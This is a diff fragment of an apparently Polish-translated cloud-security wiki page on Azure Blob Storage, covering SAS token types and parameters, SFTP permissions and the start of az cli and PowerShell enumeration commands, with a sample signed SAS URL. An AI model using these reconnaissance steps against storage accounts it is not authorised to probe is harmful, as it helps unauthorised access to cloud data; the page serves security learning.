- **User delegation SAS**: Tworzony przez principal z **Entra ID**, który podpisze SAS i przekaże uprawnienia od użytkownika do SAS. Może być używany tylko z **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Możliwe jest **unieważnienie** wszystkich wygenerowanych user delegated SAS.
|
||||
- Nawet jeśli można wygenerować delegation SAS z "większymi" uprawnieniami niż te, które posiada użytkownik — jeśli principal ich nie ma, to nie zadziała (no privesc).
|
||||
- **Service SAS**: Podpisywany przy użyciu jednego z storage account **access keys**. Może być użyty do przyznania dostępu do konkretnych zasobów w pojedynczej usłudze storage. Jeśli klucz zostanie odnowiony, SAS przestanie działać.
|
||||
- **Account SAS**: Również podpisywany jednym z storage account **access keys**. Przyznaje dostęp do zasobów w różnych usługach konta storage (Blob, Queue, Table, File) i może obejmować operacje na poziomie usługi.
|
||||
|
||||
SAS URL podpisany za pomocą **access key** wygląda tak:
|
||||
|
||||
@@ -196,59 +196,59 @@ SAS URL podpisany jako **user delegation** wygląda tak:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Zwróć uwagę na niektóre **parametry http**:
|
||||
Zwróć uwagę na niektóre **http params**:
|
||||
|
||||
- The **`se`** param wskazuje **datę wygaśnięcia** SAS
|
||||
- The **`sp`** param wskazuje **uprawnienia** SAS
|
||||
- The **`sig`** to **podpis** walidujący SAS
|
||||
- Parametr **`se`** wskazuje **datę wygaśnięcia** SAS
|
||||
- Parametr **`sp`** wskazuje **uprawnienia** SAS
|
||||
- **`sig`** to **sygnatura** walidująca SAS
|
||||
|
||||
#### SAS permissions
|
||||
#### Uprawnienia SAS
|
||||
|
||||
Podczas generowania SAS trzeba określić uprawnienia, które ma nadawać. W zależności od obiektu, dla którego generowany jest SAS, mogą być uwzględnione różne uprawnienia. Na przykład:
|
||||
Podczas generowania SAS należy wskazać uprawnienia, które ma przyznawać. W zależności od obiektu, dla którego generowany jest SAS, mogą być uwzględniane różne uprawnienia. Na przykład:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage obsługuje teraz SSH File Transfer Protocol (SFTP), umożliwiając bezpieczny transfer plików i zarządzanie bezpośrednio do Blob Storage bez konieczności stosowania rozwiązań niestandardowych lub produktów firm trzecich.
|
||||
Azure Blob Storage teraz obsługuje SSH File Transfer Protocol (SFTP), umożliwiając bezpieczny transfer plików i zarządzanie bezpośrednio w Blob Storage bez konieczności stosowania niestandardowych rozwiązań lub produktów firm trzecich.
|
||||
|
||||
### Key Features
|
||||
### Kluczowe cechy
|
||||
|
||||
- Protocol Support: SFTP działa z kontami Blob Storage skonfigurowanymi z hierarchical namespace (HNS). Organizuje to bloby w katalogi i podkatalogi, ułatwiając nawigację.
|
||||
- Security: SFTP wykorzystuje lokalne tożsamości użytkowników do uwierzytelniania i nie integruje się z RBAC ani ABAC. Każdy lokalny użytkownik może uwierzytelniać się za pomocą:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Protocol Support: SFTP działa z kontami Blob Storage skonfigurowanymi z hierarchical namespace (HNS). Organizuje to blob-y w katalogi i podkatalogi, ułatwiając nawigację.
|
||||
- Security: SFTP używa lokalnych tożsamości użytkowników do uwierzytelniania i nie integruje się z RBAC ani ABAC. Każdy lokalny użytkownik może uwierzytelniać się poprzez:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Uprawnienia takie jak Read, Write, Delete i List mogą być przypisane lokalnym użytkownikom dla maksymalnie 100 kontenerów.
|
||||
- Networking Considerations: Połączenia SFTP są realizowane przez port 22. Azure obsługuje konfiguracje sieciowe takie jak firewalle, private endpoints lub virtual networks w celu zabezpieczenia ruchu SFTP.
|
||||
- Networking Considerations: Połączenia SFTP odbywają się przez port 22. Azure obsługuje konfiguracje sieciowe takie jak firewalle, private endpoints czy virtual networks w celu zabezpieczenia ruchu SFTP.
|
||||
|
||||
### Setup Requirements
|
||||
### Wymagania konfiguracji
|
||||
|
||||
- Hierarchical Namespace: HNS musi być włączony przy tworzeniu konta storage.
|
||||
- Hierarchical Namespace: HNS musi być włączone podczas tworzenia konta storage.
|
||||
- Supported Encryption: Wymaga kryptograficznych algorytmów zatwierdzonych przez Microsoft Security Development Lifecycle (SDL) (np. rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
- Włączyć SFTP na koncie storage.
|
||||
- Utworzyć lokalne tożsamości użytkowników z odpowiednimi uprawnieniami.
|
||||
- Skonfigurować katalogi domowe dla użytkowników, aby określić ich punkt startowy w kontenerze.
|
||||
|
||||
### Permissions
|
||||
### Uprawnienia
|
||||
|
||||
| Permission | Symbol | Description |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Odczyt zawartości pliku. |
|
||||
| **Write** | `w` | Przesyłanie plików i tworzenie katalogów. |
|
||||
| **List** | `l` | Wyświetlanie zawartości katalogów. |
|
||||
| **Write** | `w` | Upload plików i tworzenie katalogów. |
|
||||
| **List** | `l` | Wypisanie zawartości katalogów. |
|
||||
| **Delete** | `d` | Usuwanie plików lub katalogów. |
|
||||
| **Create** | `c` | Tworzenie plików lub katalogów. |
|
||||
| **Modify Ownership** | `o` | Zmiana właściciela użytkownika lub grupy. |
|
||||
| **Modify Permissions** | `p` | Zmiana ACL na plikach lub katalogach. |
|
||||
| **Modify Ownership** | `o` | Zmiana właściciela lub grupy. |
|
||||
| **Modify Permissions** | `p` | Zmiana ACL na plikach lub katalogach.|
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
<details>
|
||||
<summary>az cli enumeracja</summary>
|
||||
<summary>az cli enumeration</summary>
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -372,7 +372,7 @@ az storage account local-user list \
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
<details>
|
||||
<summary>Enumeracja Az PowerShell</summary>
|
||||
<summary>Az PowerShell enumeration</summary>
|
||||
```powershell
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
@@ -435,7 +435,7 @@ New-AzStorageBlobSASToken `
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Udziały plików
|
||||
### Udostępnianie plików
|
||||
|
||||
{{#ref}}
|
||||
az-file-shares.md
|
||||
|
||||
Reference in New Issue
Block a user